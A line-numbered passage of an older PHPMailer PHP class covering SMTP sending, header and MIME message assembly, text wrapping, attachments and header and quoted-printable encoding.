  1902.       $error = $this->Lang('from_failed') . $smtp_from;
  1903.       $this->SetError($error);
  1904.       $this->smtp->Reset();
  1905.       return false;
  1906.     }
  1907.  
  1908.     /* Attempt to send attach all recipients */
  1909.     for($i = 0; $i < count($this->to); $i++) {
  1910.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1911.         $bad_rcpt[] = $this->to[$i][0];
  1912.       }
  1913.     }
  1914.     for($i = 0; $i < count($this->cc); $i++) {
  1915.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1916.         $bad_rcpt[] = $this->cc[$i][0];
  1917.       }
  1918.     }
  1919.     for($i = 0; $i < count($this->bcc); $i++) {
  1920.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1921.         $bad_rcpt[] = $this->bcc[$i][0];
  1922.       }
  1923.     }
  1924.  
  1925.     if(count($bad_rcpt) > 0) { // Create error message
  1926.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1927.         if($i != 0) {
  1928.           $error .= ', ';
  1929.         }
  1930.         $error .= $bad_rcpt[$i];
  1931.  
  1932.       }
  1933.       $error = $this->Lang('recipients_failed') . $error;
  1934.       $this->SetError($error);
  1935.       $this->smtp->Reset();
  1936.       return false;
  1937.     }
  1938.  
  1939.     if(!$this->smtp->Data($header . $body)) {
  1940.       $this->SetError($this->Lang('data_not_accepted'));
  1941.       $this->smtp->Reset();
  1942.       return false;
  1943.     }
  1944.     if($this->SMTPKeepAlive == true) {
  1945.       $this->smtp->Reset();
  1946.     } else {
  1947.       $this->SmtpClose();
  1948.     }
  1949.  
  1950.     return true;
  1951.   }
  1952.  
  1953.   /**
  1954.    * Initiates a connection to an SMTP server.  Returns false if the
  1955.    * operation failed.
  1956.    * @access private
  1957.    * @return bool
  1958.    */
  1959.   function SmtpConnect() {
  1960.     if($this->smtp == NULL) {
  1961.       $this->smtp = new SMTP();
  1962.     }
  1963.  
  1964.     $this->smtp->do_debug = $this->SMTPDebug;
  1965.     $hosts = explode(';', $this->Host);
  1966.     $index = 0;
  1967.     $connection = ($this->smtp->Connected());
  1968.  
  1969.     /* Retry while there is no connection */
  1970.     while($index < count($hosts) && $connection == false) {
  1971.       $hostinfo = array();
  1972.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1973.         $host = $hostinfo[1];
  1974.         $port = $hostinfo[2];
  1975.       } else {
  1976.         $host = $hosts[$index];
  1977.         $port = $this->Port;
  1978.       }
  1979.  
  1980.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1981.         if ($this->Helo != '') {
  1982.           $this->smtp->Hello($this->Helo);
  1983.         } else {
  1984.           $this->smtp->Hello($this->ServerHostname());
  1985.         }
  1986.  
  1987.         $connection = true;
  1988.         if($this->SMTPAuth) {
  1989.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1990.             $this->SetError($this->Lang('authenticate'));
  1991.             $this->smtp->Reset();
  1992.             $connection = false;
  1993.           }
  1994.         }
  1995.       }
  1996.       $index++;
  1997.     }
  1998.     if(!$connection) {
  1999.       $this->SetError($this->Lang('connect_host'));
  2000.     }
  2001.  
  2002.     return $connection;
  2003.   }
  2004.  
  2005.   /**
  2006.    * Closes the active SMTP session if one exists.
  2007.    * @return void
  2008.    */
  2009.   function SmtpClose() {
  2010.     if($this->smtp != NULL) {
  2011.       if($this->smtp->Connected()) {
  2012.         $this->smtp->Quit();
  2013.         $this->smtp->Close();
  2014.       }
  2015.     }
  2016.   }
  2017.  
  2018.   /**
  2019.    * Sets the language for all class error messages.  Returns false
  2020.    * if it cannot load the language file.  The default language type
  2021.    * is English.
  2022.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2023.    * @param string $lang_path Path to the language file directory
  2024.    * @access public
  2025.    * @return bool
  2026.    */
  2027.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2028.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2029.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2030.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2031.       include($lang_path.'phpmailer.lang-en.php');
  2032.     } else {
  2033.       $this->SetError('Could not load language file');
  2034.       return false;
  2035.     }
  2036.     $this->language = $PHPMAILER_LANG;
  2037.  
  2038.     return true;
  2039.   }
  2040.  
  2041.   /////////////////////////////////////////////////
  2042.   // METHODS, MESSAGE CREATION
  2043.   /////////////////////////////////////////////////
  2044.  
  2045.   /**
  2046.    * Creates recipient headers.
  2047.    * @access private
  2048.    * @return string
  2049.    */
  2050.   function AddrAppend($type, $addr) {
  2051.     $addr_str = $type . ': ';
  2052.     $addr_str .= $this->AddrFormat($addr[0]);
  2053.     if(count($addr) > 1) {
  2054.       for($i = 1; $i < count($addr); $i++) {
  2055.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2056.       }
  2057.     }
  2058.     $addr_str .= $this->LE;
  2059.  
  2060.     return $addr_str;
  2061.   }
  2062.  
  2063.   /**
  2064.    * Formats an address correctly.
  2065.    * @access private
  2066.    * @return string
  2067.    */
  2068.   function AddrFormat($addr) {
  2069.     if(empty($addr[1])) {
  2070.       $formatted = $this->SecureHeader($addr[0]);
  2071.     } else {
  2072.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2073.     }
  2074.  
  2075.     return $formatted;
  2076.   }
  2077.  
  2078.   /**
  2079.    * Wraps message for use with mailers that do not
  2080.    * automatically perform wrapping and for quoted-printable.
  2081.    * Original written by philippe.
  2082.    * @access private
  2083.    * @return string
  2084.    */
  2085.   function WrapText($message, $length, $qp_mode = false) {
  2086.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2087.     // If utf-8 encoding is used, we will need to make sure we don't
  2088.     // split multibyte characters when we wrap
  2089.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2090.  
  2091.     $message = $this->FixEOL($message);
  2092.     if (substr($message, -1) == $this->LE) {
  2093.       $message = substr($message, 0, -1);
  2094.     }
  2095.  
  2096.     $line = explode($this->LE, $message);
  2097.     $message = '';
  2098.     for ($i=0 ;$i < count($line); $i++) {
  2099.       $line_part = explode(' ', $line[$i]);
  2100.       $buf = '';
  2101.       for ($e = 0; $e<count($line_part); $e++) {
  2102.         $word = $line_part[$e];
  2103.         if ($qp_mode and (strlen($word) > $length)) {
  2104.           $space_left = $length - strlen($buf) - 1;
  2105.           if ($e != 0) {
  2106.             if ($space_left > 20) {
  2107.               $len = $space_left;
  2108.               if ($is_utf8) {
  2109.                 $len = $this->UTF8CharBoundary($word, $len);
  2110.               } elseif (substr($word, $len - 1, 1) == "=") {
  2111.                 $len--;
  2112.               } elseif (substr($word, $len - 2, 1) == "=") {
  2113.                 $len -= 2;
  2114.               }
  2115.               $part = substr($word, 0, $len);
  2116.               $word = substr($word, $len);
  2117.               $buf .= ' ' . $part;
  2118.               $message .= $buf . sprintf("=%s", $this->LE);
  2119.             } else {
  2120.               $message .= $buf . $soft_break;
  2121.             }
  2122.             $buf = '';
  2123.           }
  2124.           while (strlen($word) > 0) {
  2125.             $len = $length;
  2126.             if ($is_utf8) {
  2127.               $len = $this->UTF8CharBoundary($word, $len);
  2128.             } elseif (substr($word, $len - 1, 1) == "=") {
  2129.               $len--;
  2130.             } elseif (substr($word, $len - 2, 1) == "=") {
  2131.               $len -= 2;
  2132.             }
  2133.             $part = substr($word, 0, $len);
  2134.             $word = substr($word, $len);
  2135.  
  2136.             if (strlen($word) > 0) {
  2137.               $message .= $part . sprintf("=%s", $this->LE);
  2138.             } else {
  2139.               $buf = $part;
  2140.             }
  2141.           }
  2142.         } else {
  2143.           $buf_o = $buf;
  2144.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2145.  
  2146.           if (strlen($buf) > $length and $buf_o != '') {
  2147.             $message .= $buf_o . $soft_break;
  2148.             $buf = $word;
  2149.           }
  2150.         }
  2151.       }
  2152.       $message .= $buf . $this->LE;
  2153.     }
  2154.  
  2155.     return $message;
  2156.   }
  2157.  
  2158.   /**
  2159.    * Finds last character boundary prior to maxLength in a utf-8
  2160.    * quoted (printable) encoded string.
  2161.    * Original written by Colin Brown.
  2162.    * @access private
  2163.    * @param string $encodedText utf-8 QP text
  2164.    * @param int    $maxLength   find last character boundary prior to this length
  2165.    * @return int
  2166.    */
  2167.   function UTF8CharBoundary($encodedText, $maxLength) {
  2168.     $foundSplitPos = false;
  2169.     $lookBack = 3;
  2170.     while (!$foundSplitPos) {
  2171.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2172.       $encodedCharPos = strpos($lastChunk, "=");
  2173.       if ($encodedCharPos !== false) {
  2174.         // Found start of encoded character byte within $lookBack block.
  2175.         // Check the encoded byte value (the 2 chars after the '=')
  2176.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2177.         $dec = hexdec($hex);
  2178.         if ($dec < 128) { // Single byte character.
  2179.           // If the encoded char was found at pos 0, it will fit
  2180.           // otherwise reduce maxLength to start of the encoded char
  2181.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2182.           $maxLength - ($lookBack - $encodedCharPos);
  2183.           $foundSplitPos = true;
  2184.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2185.           // Reduce maxLength to split at start of character
  2186.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2187.           $foundSplitPos = true;
  2188.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2189.           $lookBack += 3;
  2190.         }
  2191.       } else {
  2192.         // No encoded character found
  2193.         $foundSplitPos = true;
  2194.       }
  2195.     }
  2196.     return $maxLength;
  2197.   }
  2198.  
  2199.   /**
  2200.    * Set the body wrapping.
  2201.    * @access private
  2202.    * @return void
  2203.    */
  2204.   function SetWordWrap() {
  2205.     if($this->WordWrap < 1) {
  2206.       return;
  2207.     }
  2208.  
  2209.     switch($this->message_type) {
  2210.       case 'alt':
  2211.         /* fall through */
  2212.       case 'alt_attachments':
  2213.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2214.         break;
  2215.       default:
  2216.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2217.         break;
  2218.     }
  2219.   }
  2220.  
  2221.   /**
  2222.    * Assembles message header.
  2223.    * @access private
  2224.    * @return string
  2225.    */
  2226.   function CreateHeader() {
  2227.     $result = '';
  2228.  
  2229.     /* Set the boundaries */
  2230.     $uniq_id = md5(uniqid(time()));
  2231.     $this->boundary[1] = 'b1_' . $uniq_id;
  2232.     $this->boundary[2] = 'b2_' . $uniq_id;
  2233.  
  2234.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2235.     if($this->Sender == '') {
  2236.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2237.     } else {
  2238.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2239.     }
  2240.  
  2241.     /* To be created automatically by mail() */
  2242.     if($this->Mailer != 'mail') {
  2243.       if(count($this->to) > 0) {
  2244.         $result .= $this->AddrAppend('To', $this->to);
  2245.       } elseif (count($this->cc) == 0) {
  2246.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2247.       }
  2248.       if(count($this->cc) > 0) {
  2249.         $result .= $this->AddrAppend('Cc', $this->cc);
  2250.       }
  2251.     }
  2252.  
  2253.     $from = array();
  2254.     $from[0][0] = trim($this->From);
  2255.     $from[0][1] = $this->FromName;
  2256.     $result .= $this->AddrAppend('From', $from);
  2257.  
  2258.     /* sendmail and mail() extract Cc from the header before sending */
  2259.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2260.       $result .= $this->AddrAppend('Cc', $this->cc);
  2261.     }
  2262.  
  2263.     /* sendmail and mail() extract Bcc from the header before sending */
  2264.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2265.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2266.     }
  2267.  
  2268.     if(count($this->ReplyTo) > 0) {
  2269.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2270.     }
  2271.  
  2272.     /* mail() sets the subject itself */
  2273.     if($this->Mailer != 'mail') {
  2274.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2275.     }
  2276.  
  2277.     if($this->MessageID != '') {
  2278.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2279.     } else {
  2280.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2281.     }
  2282.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2283.     $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2284.  
  2285.     if($this->ConfirmReadingTo != '') {
  2286.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2287.     }
  2288.  
  2289.     // Add custom headers
  2290.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2291.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2292.     }
  2293.     if (!$this->sign_key_file) {
  2294.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2295.       $result .= $this->GetMailMIME();
  2296.     }
  2297.  
  2298.     return $result;
  2299.   }
  2300.  
  2301.   /**
  2302.    * Returns the message MIME.
  2303.    * @access private
  2304.    * @return string
  2305.    */
  2306.   function GetMailMIME() {
  2307.     $result = '';
  2308.     switch($this->message_type) {
  2309.       case 'plain':
  2310.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2311.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2312.         break;
  2313.       case 'attachments':
  2314.         /* fall through */
  2315.       case 'alt_attachments':
  2316.         if($this->InlineImageExists()){
  2317.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2318.         } else {
  2319.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2320.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2321.         }
  2322.         break;
  2323.       case 'alt':
  2324.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2325.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2326.         break;
  2327.     }
  2328.  
  2329.     if($this->Mailer != 'mail') {
  2330.       $result .= $this->LE.$this->LE;
  2331.     }
  2332.  
  2333.     return $result;
  2334.   }
  2335.  
  2336.   /**
  2337.    * Assembles the message body.  Returns an empty string on failure.
  2338.    * @access private
  2339.    * @return string
  2340.    */
  2341.   function CreateBody() {
  2342.     $result = '';
  2343.     if ($this->sign_key_file) {
  2344.       $result .= $this->GetMailMIME();
  2345.     }
  2346.  
  2347.     $this->SetWordWrap();
  2348.  
  2349.     switch($this->message_type) {
  2350.       case 'alt':
  2351.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2352.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2353.         $result .= $this->LE.$this->LE;
  2354.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2355.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2356.         $result .= $this->LE.$this->LE;
  2357.         $result .= $this->EndBoundary($this->boundary[1]);
  2358.         break;
  2359.       case 'plain':
  2360.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2361.         break;
  2362.       case 'attachments':
  2363.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2364.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2365.         $result .= $this->LE;
  2366.         $result .= $this->AttachAll();
  2367.         break;
  2368.       case 'alt_attachments':
  2369.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2370.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2371.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2372.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2373.         $result .= $this->LE.$this->LE;
  2374.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2375.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2376.         $result .= $this->LE.$this->LE;
  2377.         $result .= $this->EndBoundary($this->boundary[2]);
  2378.         $result .= $this->AttachAll();
  2379.         break;
  2380.     }
  2381.  
  2382.     if($this->IsError()) {
  2383.       $result = '';
  2384.     } else if ($this->sign_key_file) {
  2385.       $file = tempnam("", "mail");
  2386.       $fp = fopen($file, "w");
  2387.       fwrite($fp, $result);
  2388.       fclose($fp);
  2389.       $signed = tempnam("", "signed");
  2390.  
  2391.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2392.         $fp = fopen($signed, "r");
  2393.         $result = fread($fp, filesize($this->sign_key_file));
  2394.         fclose($fp);
  2395.       } else {
  2396.         $this->SetError($this->Lang("signing").openssl_error_string());
  2397.         $result = '';
  2398.       }
  2399.  
  2400.       unlink($file);
  2401.       unlink($signed);
  2402.     }
  2403.  
  2404.     return $result;
  2405.   }
  2406.  
  2407.   /**
  2408.    * Returns the start of a message boundary.
  2409.    * @access private
  2410.    */
  2411.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2412.     $result = '';
  2413.     if($charSet == '') {
  2414.       $charSet = $this->CharSet;
  2415.     }
  2416.     if($contentType == '') {
  2417.       $contentType = $this->ContentType;
  2418.     }
  2419.     if($encoding == '') {
  2420.       $encoding = $this->Encoding;
  2421.     }
  2422.     $result .= $this->TextLine('--' . $boundary);
  2423.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2424.     $result .= $this->LE;
  2425.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2426.     $result .= $this->LE;
  2427.  
  2428.     return $result;
  2429.   }
  2430.  
  2431.   /**
  2432.    * Returns the end of a message boundary.
  2433.    * @access private
  2434.    */
  2435.   function EndBoundary($boundary) {
  2436.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2437.   }
  2438.  
  2439.   /**
  2440.    * Sets the message type.
  2441.    * @access private
  2442.    * @return void
  2443.    */
  2444.   function SetMessageType() {
  2445.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2446.       $this->message_type = 'plain';
  2447.     } else {
  2448.       if(count($this->attachment) > 0) {
  2449.         $this->message_type = 'attachments';
  2450.       }
  2451.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2452.         $this->message_type = 'alt';
  2453.       }
  2454.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2455.         $this->message_type = 'alt_attachments';
  2456.       }
  2457.     }
  2458.   }
  2459.  
  2460.   /* Returns a formatted header line.
  2461.    * @access private
  2462.    * @return string
  2463.    */
  2464.   function HeaderLine($name, $value) {
  2465.     return $name . ': ' . $value . $this->LE;
  2466.   }
  2467.  
  2468.   /**
  2469.    * Returns a formatted mail line.
  2470.    * @access private
  2471.    * @return string
  2472.    */
  2473.   function TextLine($value) {
  2474.     return $value . $this->LE;
  2475.   }
  2476.  
  2477.   /////////////////////////////////////////////////
  2478.   // CLASS METHODS, ATTACHMENTS
  2479.   /////////////////////////////////////////////////
  2480.  
  2481.   /**
  2482.    * Adds an attachment from a path on the filesystem.
  2483.    * Returns false if the file could not be found
  2484.    * or accessed.
  2485.    * @param string $path Path to the attachment.
  2486.    * @param string $name Overrides the attachment name.
  2487.    * @param string $encoding File encoding (see $Encoding).
  2488.    * @param string $type File extension (MIME) type.
  2489.    * @return bool
  2490.    */
  2491.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2492.     if(!@is_file($path)) {
  2493.       $this->SetError($this->Lang('file_access') . $path);
  2494.       return false;
  2495.     }
  2496.  
  2497.     $filename = basename($path);
  2498.     if($name == '') {
  2499.       $name = $filename;
  2500.     }
  2501.  
  2502.     $cur = count($this->attachment);
  2503.     $this->attachment[$cur][0] = $path;
  2504.     $this->attachment[$cur][1] = $filename;
  2505.     $this->attachment[$cur][2] = $name;
  2506.     $this->attachment[$cur][3] = $encoding;
  2507.     $this->attachment[$cur][4] = $type;
  2508.     $this->attachment[$cur][5] = false; // isStringAttachment
  2509.     $this->attachment[$cur][6] = 'attachment';
  2510.     $this->attachment[$cur][7] = 0;
  2511.  
  2512.     return true;
  2513.   }
  2514.  
  2515.   /**
  2516.    * Attaches all fs, string, and binary attachments to the message.
  2517.    * Returns an empty string on failure.
  2518.    * @access private
  2519.    * @return string
  2520.    */
  2521.   function AttachAll() {
  2522.     /* Return text of body */
  2523.     $mime = array();
  2524.  
  2525.     /* Add all attachments */
  2526.     for($i = 0; $i < count($this->attachment); $i++) {
  2527.       /* Check for string attachment */
  2528.       $bString = $this->attachment[$i][5];
  2529.       if ($bString) {
  2530.         $string = $this->attachment[$i][0];
  2531.       } else {
  2532.         $path = $this->attachment[$i][0];
  2533.       }
  2534.  
  2535.       $filename    = $this->attachment[$i][1];
  2536.       $name        = $this->attachment[$i][2];
  2537.       $encoding    = $this->attachment[$i][3];
  2538.       $type        = $this->attachment[$i][4];
  2539.       $disposition = $this->attachment[$i][6];
  2540.       $cid         = $this->attachment[$i][7];
  2541.  
  2542.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2543.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2544.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2545.  
  2546.       if($disposition == 'inline') {
  2547.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2548.       }
  2549.  
  2550.       $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2551.  
  2552.       /* Encode as string attachment */
  2553.       if($bString) {
  2554.         $mime[] = $this->EncodeString($string, $encoding);
  2555.         if($this->IsError()) {
  2556.           return '';
  2557.         }
  2558.         $mime[] = $this->LE.$this->LE;
  2559.       } else {
  2560.         $mime[] = $this->EncodeFile($path, $encoding);
  2561.         if($this->IsError()) {
  2562.           return '';
  2563.         }
  2564.         $mime[] = $this->LE.$this->LE;
  2565.       }
  2566.     }
  2567.  
  2568.     $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2569.  
  2570.     return join('', $mime);
  2571.   }
  2572.  
  2573.   /**
  2574.    * Encodes attachment in requested format.  Returns an
  2575.    * empty string on failure.
  2576.    * @access private
  2577.    * @return string
  2578.    */
  2579.   function EncodeFile ($path, $encoding = 'base64') {
  2580.     if(!@$fd = fopen($path, 'rb')) {
  2581.       $this->SetError($this->Lang('file_open') . $path);
  2582.       return '';
  2583.     }
  2584.     $magic_quotes = get_magic_quotes_runtime();
  2585.     set_magic_quotes_runtime(0);
  2586.     $file_buffer = fread($fd, filesize($path));
  2587.     $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2588.     fclose($fd);
  2589.     set_magic_quotes_runtime($magic_quotes);
  2590.  
  2591.     return $file_buffer;
  2592.   }
  2593.  
  2594.   /**
  2595.    * Encodes string to requested format. Returns an
  2596.    * empty string on failure.
  2597.    * @access private
  2598.    * @return string
  2599.    */
  2600.   function EncodeString ($str, $encoding = 'base64') {
  2601.     $encoded = '';
  2602.     switch(strtolower($encoding)) {
  2603.       case 'base64':
  2604.         /* chunk_split is found in PHP >= 3.0.6 */
  2605.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2606.         break;
  2607.       case '7bit':
  2608.       case '8bit':
  2609.         $encoded = $this->FixEOL($str);
  2610.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2611.           $encoded .= $this->LE;
  2612.         break;
  2613.       case 'binary':
  2614.         $encoded = $str;
  2615.         break;
  2616.       case 'quoted-printable':
  2617.         $encoded = $this->EncodeQP($str);
  2618.         break;
  2619.       default:
  2620.         $this->SetError($this->Lang('encoding') . $encoding);
  2621.         break;
  2622.     }
  2623.     return $encoded;
  2624.   }
  2625.  
  2626.   /**
  2627.    * Encode a header string to best of Q, B, quoted or none.
  2628.    * @access private
  2629.    * @return string
  2630.    */
  2631.   function EncodeHeader ($str, $position = 'text') {
  2632.     $x = 0;
  2633.  
  2634.     switch (strtolower($position)) {
  2635.       case 'phrase':
  2636.         if (!preg_match('/[\200-\377]/', $str)) {
  2637.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2638.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2639.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2640.             return ($encoded);
  2641.           } else {
  2642.             return ("\"$encoded\"");
  2643.           }
  2644.         }
  2645.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2646.         break;
  2647.       case 'comment':
  2648.         $x = preg_match_all('/[()"]/', $str, $matches);
  2649.         /* Fall-through */
  2650.       case 'text':
  2651.       default:
  2652.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2653.         break;
  2654.     }
  2655.  
  2656.     if ($x == 0) {
  2657.       return ($str);
  2658.     }
  2659.  
  2660.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2661.     /* Try to select the encoding which should produce the shortest output */
  2662.     if (strlen($str)/3 < $x) {
  2663.       $encoding = 'B';
  2664.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2665.      // Use a custom function which correctly encodes and wraps long
  2666.      // multibyte strings without breaking lines within a character
  2667.         $encoded = $this->Base64EncodeWrapMB($str);
  2668.       } else {
  2669.         $encoded = base64_encode($str);
  2670.         $maxlen -= $maxlen % 4;
  2671.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2672.       }
  2673.     } else {
  2674.       $encoding = 'Q';
  2675.       $encoded = $this->EncodeQ($str, $position);
  2676.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2677.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2678.     }
  2679.  
  2680.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2681.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2682.  
  2683.     return $encoded;
  2684.   }
  2685.  
  2686.   /**
  2687.    * Checks if a string contains multibyte characters.
  2688.    * @access private
  2689.    * @param string $str multi-byte text to wrap encode
  2690.    * @return bool
  2691.    */
  2692.   function HasMultiBytes($str) {
  2693.     if (function_exists('mb_strlen')) {
  2694.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2695.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2696.       return False;
  2697.     }
  2698.   }
  2699.  
  2700.   /**
  2701.    * Correctly encodes and wraps long multibyte strings for mail headers
  2702.    * without breaking lines within a character.
  2703.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2704.    * @access private
  2705.    * @param string $str multi-byte text to wrap encode
  2706.    * @return string
  2707.    */
  2708.   function Base64EncodeWrapMB($str) {
  2709.     $start = "=?".$this->CharSet."?B?";
  2710.     $end = "?=";
  2711.     $encoded = "";
  2712.  
  2713.     $mb_length = mb_strlen($str, $this->CharSet);
  2714.     // Each line must have length <= 75, including $start and $end
  2715.     $length = 75 - strlen($start) - strlen($end);
  2716.     // Average multi-byte ratio
  2717.     $ratio = $mb_length / strlen($str);
  2718.     // Base64 has a 4:3 ratio
  2719.     $offset = $avgLength = floor($length * $ratio * .75);
  2720.  
  2721.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2722.       $lookBack = 0;
  2723.  
  2724.       do {
  2725.         $offset = $avgLength - $lookBack;
  2726.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2727.         $chunk = base64_encode($chunk);
  2728.         $lookBack++;
  2729.       }
  2730.       while (strlen($chunk) > $length);
  2731.  
  2732.       $encoded .= $chunk . $this->LE;
  2733.     }
  2734.  
  2735.     // Chomp the last linefeed
  2736.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2737.     return $encoded;
  2738.   }
  2739.  
  2740.   /**
  2741.    * Encode string to quoted-printable.
  2742.    * @access private
  2743.    * @return string
  2744.    */
  2745.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2746.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2747.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2748.     $eol = "\r\n";
  2749.     $escape = '=';
  2750.     $output = '';
  2751.     while( list(, $line) = each($lines) ) {
  2752.       $linlen = strlen($line);
  2753.       $newline = '';
  2754.       for($i = 0; $i < $linlen; $i++) {
  2755.         $c = substr( $line, $i, 1 );
  2756.         $dec = ord( $c );
  2757.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2758.           $c = '=2E';
  2759.         }
  2760.         if ( $dec == 32 ) {
  2761.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2762.             $c = '=20';
  2763.           } else if ( $space_conv ) {
  2764.             $c = '=20';
  2765.           }
  2766.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2767.           $h2 = floor($dec/16);
